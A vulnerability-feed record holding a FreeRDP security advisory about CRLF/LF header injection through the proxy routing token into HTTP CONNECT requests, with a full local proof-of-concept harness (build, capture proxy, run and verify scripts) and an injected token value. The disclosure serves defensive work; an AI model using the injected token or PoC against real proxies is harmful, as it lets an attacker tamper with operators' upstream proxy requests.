{"schema":"threatline.record/2","record":{"id":"GHSA-87v8-2gwr-ww9j","aliases":["GHSA-87v8-2gwr-ww9j"],"summary":"FreeRDP proxy routing token can inject HTTP CONNECT request headers","details":"### Summary\r\n\r\nA remote RDP client can place a lone LF in the target portion of a FreeRDP proxy routing token. When the FreeRDP proxy is configured with `FixedTarget=false` and uses an upstream HTTP proxy, FreeRDP preserves the LF in `FreeRDP_ServerHostname` and writes it into both the CONNECT request line and the `Host` header. This changes HTTP request/header framing at the operator's upstream proxy.\r\n\r\nThe demonstrated impact is limited to HTTP request/header integrity. The validation did not demonstrate a second request, internal-service access, returned response, confidentiality loss, availability loss, memory corruption, or code execution.\r\n\r\n### Prerequisites\r\n\r\n- Mallory can connect to the FreeRDP proxy listener.\r\n- The proxy uses `FixedTarget=false`.\r\n- The proxy uses an upstream HTTP proxy.\r\n- The downstream HTTP implementation treats lone LF as a line delimiter.\r\n\r\n### Technical details\r\n\r\n`nego_read_request_token_or_cookie` in `libfreerdp/core/nego.c` terminates the routing token only on an exact CRLF pair, so a lone LF survives. `pf_server_parse_target_from_routing_token` in `server/proxy/pf_server.c` copies the complete suffix after `Cookie: msts=` into the destination hostname without rejecting HTTP delimiter bytes. `http_proxy_connect` in `libfreerdp/core/proxy.c` then writes that hostname into the CONNECT authority and Host header without validation.\r\n\r\nThe control token:\r\n\r\n```text\r\nCookie: msts=victim.example\r\n```\r\n\r\nproduced exactly:\r\n\r\n```text\r\nCONNECT victim.example:3389 HTTP/1.1\\r\\n\r\nHost: victim.example:3389\\r\\n\r\n\\r\\n\r\n```\r\n\r\nThe positive token:\r\n\r\n```text\r\nCookie: msts=victim.example\\nX-Injected\r\n```\r\n\r\nproduced exactly:\r\n\r\n```text\r\nCONNECT victim.example\\n\r\nX-Injected:3389 HTTP/1.1\\r\\n\r\nHost: victim.example\\n\r\nX-Injected:3389\\r\\n\r\n\\r\\n\r\n```\r\n\r\n### Reproduction\r\n\r\nThe sibling `poc/` directory contains a portable positive case and control using FreeRDP's shipped proxy and Sample client sources. From the disclosure directory:\r\n\r\n```sh\r\ncd poc\r\n./run.sh SOURCE_DIR BUILD_DIR\r\n```\r\n\r\nThe final replay printed:\r\n\r\n```text\r\nPASS control: 67 bytes sha256=78900b8b4d5131ad11a571786ff0730bff460d23c7433763eac0713a2b9d0984\r\nPASS positive: 89 bytes sha256=c1ecc5b8f0c364628e9ca4bae6e14ecdeedbb1af47d849f339bbd382c6057651\r\nPASS positive: attacker-controlled LF changed both HTTP header contexts\r\n```\r\n\r\n### Remediation\r\n\r\nValidate every hostname at the shared `http_proxy_connect` sink and reject CR, LF, NUL, spaces, and other bytes that cannot occur in an HTTP authority before serializing the request. Independently parse and validate routing-token targets in `pf_server_parse_target_from_routing_token`. Add end-to-end regression cases for lone LF, lone CR, CRLF, NUL, and a well-formed control.\r\n\r\n### Portable PoC files\r\n\r\n<!-- BEGIN FILE: poc/build_sample_client.sh -->\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\nif [[ $# -ne 3 ]]; then\r\n    echo \"usage: $0 SOURCE_DIR BUILD_DIR OUTPUT\" >&2\r\n    exit 2\r\nfi\r\n\r\nSOURCE=$(cd \"$1\" && pwd)\r\nBUILD=$(cd \"$2\" && pwd)\r\nOUTPUT=$3\r\n\r\nfind_library() {\r\n    local pattern=$1\r\n    local library\r\n    library=$(find \"$BUILD\" -type f -name \"$pattern\" -print | sort -V | tail -n 1)\r\n    if [[ -z \"$library\" ]]; then\r\n        echo \"required library not found: $pattern\" >&2\r\n        exit 1\r\n    fi\r\n    printf '%s\\n' \"$library\"\r\n}\r\n\r\nCLIENT_LIB=$(find_library 'libfreerdp-client3.so.*')\r\nCORE_LIB=$(find_library 'libfreerdp3.so.*')\r\nWINPR_LIB=$(find_library 'libwinpr3.so.*')\r\n\r\nSANITIZER_FLAGS=()\r\nif readelf -d \"$CORE_LIB\" 2>/dev/null | grep -qE 'libasan|libubsan'; then\r\n    SANITIZER_FLAGS=(-fsanitize=address,undefined -fno-omit-frame-pointer)\r\nfi\r\n\r\ncc -std=c11 -O1 -g \"${SANITIZER_FLAGS[@]}\" \\\r\n    -I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n    -I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n    -I\"$SOURCE/client/Sample\" \\\r\n    \"$SOURCE/client/Sample/tf_freerdp.c\" \\\r\n    \"$SOURCE/client/Sample/tf_channels.c\" \\\r\n    \"$CLIENT_LIB\" \"$CORE_LIB\" \"$WINPR_LIB\" \\\r\n    -Wl,--allow-shlib-undefined -o \"$OUTPUT\"\r\n```\r\n<!-- END FILE: poc/build_sample_client.sh -->\r\n\r\n<!-- BEGIN FILE: poc/capture_proxy.py -->\r\n```python\r\n#!/usr/bin/env python3\r\nimport argparse\r\nimport socket\r\nfrom pathlib import Path\r\n\r\n\r\ndef visible(data: bytes) -> str:\r\n    rendered = []\r\n    for byte in data:\r\n        if byte == 0x0D:\r\n            rendered.append(\"\\\\r\")\r\n        elif byte == 0x0A:\r\n            rendered.append(\"\\\\n\\n\")\r\n        elif 0x20 <= byte <= 0x7E:\r\n            rendered.append(chr(byte))\r\n        else:\r\n            rendered.append(f\"\\\\x{byte:02x}\")\r\n    return \"\".join(rendered)\r\n\r\n\r\ndef main() -> int:\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"port\", type=int)\r\n    parser.add_argument(\"output\", type=Path)\r\n    args = parser.parse_args()\r\n\r\n    args.output.mkdir(parents=True, exist_ok=True)\r\n    with socket.socket() as listener:\r\n        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n        listener.bind((\"127.0.0.1\", args.port))\r\n        listener.listen(1)\r\n        listener.settimeout(20)\r\n        connection, _ = listener.accept()\r\n\r\n    with connection:\r\n        connection.settimeout(5)\r\n        data = bytearray()\r\n        while b\"\\r\\n\\r\\n\" not in data and len(data) < 65536:\r\n            chunk = connection.recv(4096)\r\n            if not chunk:\r\n                break\r\n            data.extend(chunk)\r\n\r\n        raw = bytes(data)\r\n        (args.output / \"request.bin\").write_bytes(raw)\r\n        (args.output / \"request.hex\").write_text(raw.hex() + \"\\n\", encoding=\"ascii\")\r\n        (args.output / \"request.visible.txt\").write_text(\r\n            visible(raw), encoding=\"utf-8\"\r\n        )\r\n        connection.sendall(b\"HTTP/1.1 200 Connection established\\r\\n\\r\\n\")\r\n\r\n    print(f\"captured {len(raw)} bytes\")\r\n    return 0\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    raise SystemExit(main())\r\n```\r\n<!-- END FILE: poc/capture_proxy.py -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\nif [[ $# -ne 2 ]]; then\r\n    echo \"usage: $0 SOURCE_DIR BUILD_DIR\" >&2\r\n    exit 2\r\nfi\r\n\r\nPOC_DIR=$(cd \"$(dirname \"$0\")\" && pwd)\r\nSOURCE=$(cd \"$1\" && pwd)\r\nBUILD=$(cd \"$2\" && pwd)\r\nREVISION=$(git -c safe.directory=\"$SOURCE\" -C \"$SOURCE\" rev-parse HEAD)\r\n\r\ncase \"$REVISION\" in\r\n    63b948ca5cb94307fd5444ee6e73927a41ccdab4|\\\r\n    fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\\\r\n    193fe551c9925c761722f589437decf9bc81d7aa)\r\n        ;;\r\n    *)\r\n        echo \"unsupported source revision: $REVISION\" >&2\r\n        echo \"use FreeRDP 3.31.1 or one of the two inspected master revisions\" >&2\r\n        exit 1\r\n        ;;\r\nesac\r\n\r\nPROXY=$(find \"$BUILD\" -type f -path '*/server/proxy/cli/freerdp-proxy' \\\r\n    -perm -u+x -print -quit)\r\nif [[ -z \"$PROXY\" ]]; then\r\n    echo \"freerdp-proxy was not found in BUILD_DIR\" >&2\r\n    exit 1\r\nfi\r\n\r\nWORK_ROOT=${POC_WORK_ROOT:-$PWD}\r\nWORK=$(mktemp -d \"$WORK_ROOT/freerdp-routing-token.XXXXXX\")\r\nPROXY_PID=\r\nCAPTURE_PID=\r\ncleanup() {\r\n    if [[ -n \"$CAPTURE_PID\" ]] && kill -0 \"$CAPTURE_PID\" 2>/dev/null; then\r\n        kill \"$CAPTURE_PID\" 2>/dev/null || true\r\n        wait \"$CAPTURE_PID\" 2>/dev/null || true\r\n    fi\r\n    if [[ -n \"$PROXY_PID\" ]] && kill -0 \"$PROXY_PID\" 2>/dev/null; then\r\n        kill \"$PROXY_PID\" 2>/dev/null || true\r\n        wait \"$PROXY_PID\" 2>/dev/null || true\r\n    fi\r\n    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then\r\n        echo \"artifacts retained in $WORK\"\r\n    else\r\n        rm -rf \"$WORK\"\r\n    fi\r\n}\r\ntrap cleanup EXIT\r\n\r\nread -r PROXY_PORT CAPTURE_PORT < <(python3 - <<'PY'\r\nimport socket\r\n\r\nsockets = []\r\nports = []\r\nfor _ in range(2):\r\n    sock = socket.socket()\r\n    sock.bind((\"127.0.0.1\", 0))\r\n    sockets.append(sock)\r\n    ports.append(sock.getsockname()[1])\r\nprint(*ports)\r\nfor sock in sockets:\r\n    sock.close()\r\nPY\r\n)\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\r\n    -subj '/CN=localhost' -keyout \"$WORK/key.pem\" -out \"$WORK/cert.pem\" \\\r\n    >/dev/null 2>&1\r\n\r\ncat >\"$WORK/proxy.ini\" <<EOF\r\n[Server]\r\nHost=127.0.0.1\r\nPort=$PROXY_PORT\r\n\r\n[Target]\r\nFixedTarget=false\r\nPort=3389\r\nTlsSecLevel=1\r\nSmartcardAuth=false\r\n\r\n[Codecs]\r\nRFX=true\r\nNSC=true\r\n\r\n[Channels]\r\nGFX=true\r\nDisplayControl=true\r\nClipboard=true\r\nAudioInput=false\r\nAudioOutput=false\r\nDeviceRedirection=false\r\nVideoRedirection=false\r\nCameraRedirection=false\r\nRemoteApp=false\r\nPassthroughIsBlacklist=true\r\n\r\n[Input]\r\nKeyboard=true\r\nMouse=true\r\nMultitouch=false\r\n\r\n[Security]\r\nServerTlsSecurity=true\r\nServerNlaSecurity=false\r\nServerExtSecurity=false\r\nServerRdpSecurity=false\r\nClientTlsSecurity=true\r\nClientNlaSecurity=false\r\nClientExtSecurity=false\r\nClientRdpSecurity=false\r\nClientAllowFallbackToTls=false\r\n\r\n[Certificates]\r\nCertificateFile=$WORK/cert.pem\r\nPrivateKeyFile=$WORK/key.pem\r\nEOF\r\n\r\nBUILD_LIBS=$(find \"$BUILD\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\nDEPS_DIR=$(dirname \"$BUILD\")/deps\r\nDEP_LIBS=\r\nif [[ -d \"$DEPS_DIR\" ]]; then\r\n    DEP_LIBS=$(find \"$DEPS_DIR\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\nfi\r\nexport LD_LIBRARY_PATH=\"$BUILD_LIBS${DEP_LIBS:+:$DEP_LIBS}\"\r\n\r\n\"$POC_DIR/build_sample_client.sh\" \"$SOURCE\" \"$BUILD\" \"$WORK/sfreerdp\" \\\r\n    >\"$WORK/build.stdout\" 2>\"$WORK/build.stderr\"\r\n\r\nHTTPS_PROXY=\"http://127.0.0.1:$CAPTURE_PORT\" \\\r\nhttps_proxy=\"http://127.0.0.1:$CAPTURE_PORT\" \\\r\nNO_PROXY= no_proxy= \\\r\n    \"$PROXY\" \"$WORK/proxy.ini\" >\"$WORK/proxy.stdout\" 2>\"$WORK/proxy.stderr\" &\r\nPROXY_PID=$!\r\n\r\nfor _ in $(seq 1 100); do\r\n    if (echo >/dev/tcp/127.0.0.1/\"$PROXY_PORT\") 2>/dev/null; then\r\n        break\r\n    fi\r\n    sleep 0.1\r\ndone\r\nkill -0 \"$PROXY_PID\"\r\n\r\nrun_case() {\r\n    local name=$1\r\n    local token=$2\r\n    local output=\"$WORK/$name\"\r\n    mkdir -p \"$output\"\r\n\r\n    timeout 25 python3 \"$POC_DIR/capture_proxy.py\" \"$CAPTURE_PORT\" \"$output\" \\\r\n        >\"$output/capture.stdout\" 2>\"$output/capture.stderr\" &\r\n    CAPTURE_PID=$!\r\n    sleep 0.2\r\n\r\n    timeout 20 env -u HTTPS_PROXY -u https_proxy -u NO_PROXY -u no_proxy \\\r\n        \"$WORK/sfreerdp\" \\\r\n        /v:127.0.0.1:\"$PROXY_PORT\" /u:alice /p:demonstration-only \\\r\n        /cert:ignore /sec:tls /log-level:WARN \\\r\n        \"/load-balance-info:$token\" \\\r\n        >\"$output/client.stdout\" 2>\"$output/client.stderr\"\r\n\r\n    wait \"$CAPTURE_PID\"\r\n    CAPTURE_PID=\r\n}\r\n\r\nrun_case control 'Cookie: msts=victim.example'\r\nrun_case positive $'Cookie: msts=victim.example\\nX-Injected'\r\npython3 \"$POC_DIR/verify.py\" \"$WORK\"\r\n```\r\n<!-- END FILE: poc/run.sh -->\r\n\r\n<!-- BEGIN FILE: poc/verify.py -->\r\n```python\r\n#!/usr/bin/env python3\r\nimport argparse\r\nimport hashlib\r\nfrom pathlib import Path\r\n\r\n\r\nCONTROL = (\r\n    b\"CONNECT victim.example:3389 HTTP/1.1\\r\\n\"\r\n    b\"Host: victim.example:3389\\r\\n\"\r\n    b\"\\r\\n\"\r\n)\r\nPOSITIVE = (\r\n    b\"CONNECT victim.example\\nX-Injected:3389 HTTP/1.1\\r\\n\"\r\n    b\"Host: victim.example\\nX-Injected:3389\\r\\n\"\r\n    b\"\\r\\n\"\r\n)\r\n\r\n\r\ndef check(label: str, path: Path, expected: bytes) -> None:\r\n    actual = path.read_bytes()\r\n    if actual != expected:\r\n        raise SystemExit(\r\n            f\"FAIL {label}: captured bytes differ\\n\"\r\n            f\"expected={expected!r}\\nactual={actual!r}\"\r\n        )\r\n    digest = hashlib.sha256(actual).hexdigest()\r\n    print(f\"PASS {label}: {len(actual)} bytes sha256={digest}\")\r\n\r\n\r\ndef main() -> int:\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"workdir\", type=Path)\r\n    args = parser.parse_args()\r\n\r\n    check(\"control\", args.workdir / \"control\" / \"request.bin\", CONTROL)\r\n    check(\"positive\", args.workdir / \"positive\" / \"request.bin\", POSITIVE)\r\n\r\n    positive = (args.workdir / \"positive\" / \"request.bin\").read_bytes()\r\n    if positive.count(b\"\\nX-Injected:3389\") != 2:\r\n        raise SystemExit(\"FAIL positive: injected line did not occur twice\")\r\n    print(\"PASS positive: attacker-controlled LF changed both HTTP header contexts\")\r\n    return 0\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    raise SystemExit(main())\r\n```\r\n<!-- END FILE: poc/verify.py -->","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-87v8-2gwr-ww9j","source_modified_at":"2026-09-30T21:41:43Z","fetched_at":"2026-10-23T22:01:05.715934Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-87v8-2gwr-ww9j","source_modified_at":"2026-09-30T21:41:43Z","fetched_at":"2026-10-23T22:01:05.715934Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:41:43Z","modified_at":"2026-09-30T21:41:43Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-87v8-2gwr-ww9j","fetched_at":"2026-10-23T22:01:05.715934Z","source_modified_at":"2026-09-30T21:41:43Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:41:43Z","content_hash":"c7f99ce558b51b8557658194f2471e0dfe960f41c95a03b66a642171dd00c177"}}
